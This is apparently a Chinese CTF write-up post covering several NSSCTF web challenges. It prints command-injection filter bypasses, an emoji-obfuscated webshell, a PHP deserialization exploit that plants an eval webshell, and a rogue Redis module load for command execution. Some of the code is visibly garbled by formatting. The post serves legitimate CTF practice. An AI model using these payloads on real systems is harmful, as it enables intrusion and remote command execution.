当前位置: 首页 > news >正文

NSSCTF刷题篇1

js类型

[SWPUCTF 2022 新生赛]js_sign

这是一道js信息泄露的题目直接查看源码,有一个main.js文件点击之后,有一串数字和一段base64编码,解开base64编码得到这个编码为敲击码

解码在线网站:Tap Code - 许愿星 (wishingstarmoye.com)

注意要将数字之间的空格去掉

[MoeCTF 2021]2048

查看源代码

找到

    req.open("GET","flag.php?score="+obj.score,true);

这行代码然后直接

得到flag

md5类型

[SWPUCTF 2022 新生赛]奇妙的MD5

第一关特殊的字符串ffifdyop

第二第三关数组绕过

ssti模板注入

[安洵杯 2020]Normal SSTI

第一种方法

fenjing一把嗦

执行fenjing命令

python -m fenjing webui

然后填写网址一把嗦

命令执行

[MoeCTF 2021]babyRCE

查看源代码

 <?php$rce = $_GET['rce'];
if (isset($rce)) {if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i", $rce)) {system($rce);}else {echo "hhhhhhacker!!!"."\n";}
} else {highlight_file(__FILE__);
} 

一个命令执行主要排除了一些打开文件的命令还有空格,这里使用下面的命令进行绕过

?rce=uniq${IFS}fla?.php
?rce=c\at${IFS}fl\ag.php
?rce=ls|grepIFSf∣xargsIFSf∣xargs{IFS}-iIFScpIFScp{IFS}{}${IFS}t.txt

应该还有很多命令就不在列举,至于flag的名字可以直接ls进行查看,并没有禁止ls

[FSCTF 2023]webshell是啥捏 

源码

 <?php
highlight_file(__FILE__);
$😀="a";
$😁="b";
$😂="c";
$🤣="d";
$😃="e";
$😄="f";
$😅="g";
$😆="h";
$😉="i";
$😊="j";
$😋="k";
$😎="l";
$😍="m";
$😘="n";
$😗="o";
$😙="p";
$😚="q";
$🙂="r";
$🤗="s";
$🤩="t";
$🤔="u";
$🤨="v";
$😐="w";
$😑="x";
$😶="y";
$🙄="z";$😭 = $😙. $😀. $🤗. $🤗. $🤩. $😆. $🙂. $🤔;if (isset($_GET['👽'])) {eval($😭($_GET['👽']));
};?> 

正常的命令执行

php反序列化

[天翼杯 2021]esay_eval

打开网页查看源代码

<?php
class A{public $code = "";function __call($method,$args){eval($this->code);}function __wakeup(){$this->code = "";}
}class B{function __destruct(){echo $this->a->a();}
}
if(isset($_REQUEST['poc'])){preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);if (isset($ret[1])) {foreach ($ret[1] as $i) {if(intval($i)!==1){exit("you want to bypass wakeup ? no !");}}unserialize($_REQUEST['poc']);    }}else{highlight_file(__FILE__);
} 

魔法函数都非常简单,在这里反序列化触发逻辑也非常简单 B类当中的__destruct()去触发A类当中的__call最后在绕过__wakeup()这个魔法函数就行了

其中这里过滤了B,A字母,这个正则表达式主要是限制上面的类名的,而在php代码当中类名是不限制大小写的,所以直接大小写绕过即可;

脚本如下

<?php
class a{function __construct(){$this->code="eval($_POST[1]);";}}
class b{public $a;
}
$c=new b();
$c->a=new a();echo serialize($c);//O:1:"b":1:{s:1:"a";O:1:"a":2:{s:4:"code";s:16:"eval($_POST[1]);";}}

在将木马传入之后用蚁剑连接,在蚁剑当中可以打开swp那个文件在文件最后有一些信息

提示打redis,那么就用蚁剑插件登录redis,密码也给你了为you_cannot_guess_it,登录一下

然后在刚才的目录下上传一个exp.so文件,文件地址

https://github.com/Dliv3/redis-rogue-server

上传之后,在打开redis页面

点击那个执行指令

MODULE LOAD "/var/www/html/exp.so"

执行上面指令然后就可以命令执行了

system.exec "ls /"

命令执行格式如上

http://www.lryc.cn/news/444189.html

相关文章:

  • [数据集][目标检测]棉花叶子病害检测数据集VOC+YOLO格式977张22类别
  • 产品经理面试整理-常见面试问题
  • 数据库(选择题)
  • 粒子向上持续瀑布动画效果(直接粘贴到记事本改html即可)
  • 卷积神经网络(CNN):深度学习中的视觉奇迹
  • Vue:加载本地视频
  • 论文阅读:A Generalization of Transformer Networks to Graphs
  • 中国计量大学《2022年801+2022年819自动控制原理真题》 (完整版)
  • 创客匠人运营课堂|增强用户的参与度和忠诚度,这一个工具就能实现!
  • k8s 微服务 ingress-nginx 金丝雀发布
  • Elasticsearch不停机切换(上云)方案
  • 归纳一下Invoke,beginInvoke,还有InvokeRequire
  • Prompt最佳实践|指定输出的长度
  • 离散制造 vs 流程制造:锚定精准制造未来,从装配线到化学反应,实时数据集成在制造业案例中的多维应用
  • 教你一招:在微信小程序中为用户上传的图片添加时间水印
  • MySQL --基本查询(上)
  • mysql学习教程,从入门到精通,SQL 删除数据(DELETE 语句)(19)
  • RoguelikeGenerator Pro - Procedural Level Generator
  • 反病毒技术和反病毒软件(网络安全小知识)
  • 位图与布隆过滤器
  • 【题解】—— LeetCode一周小结38
  • EvilScience靶机详解
  • 算法练习题24——leetcode3296移山所需的最小秒数(二分模拟)
  • excel 单元格一直显示年月日
  • 【线程】线程的控制
  • 掌握 Spring:从新手到高手的常见问题汇总
  • 机器学习——Bagging
  • 日志体系结构与框架:历史、实现与如何在 Spring Cloud 中使用日志体系
  • 图文深入理解SQL语句的执行过程
  • ubuntu安装StarQuant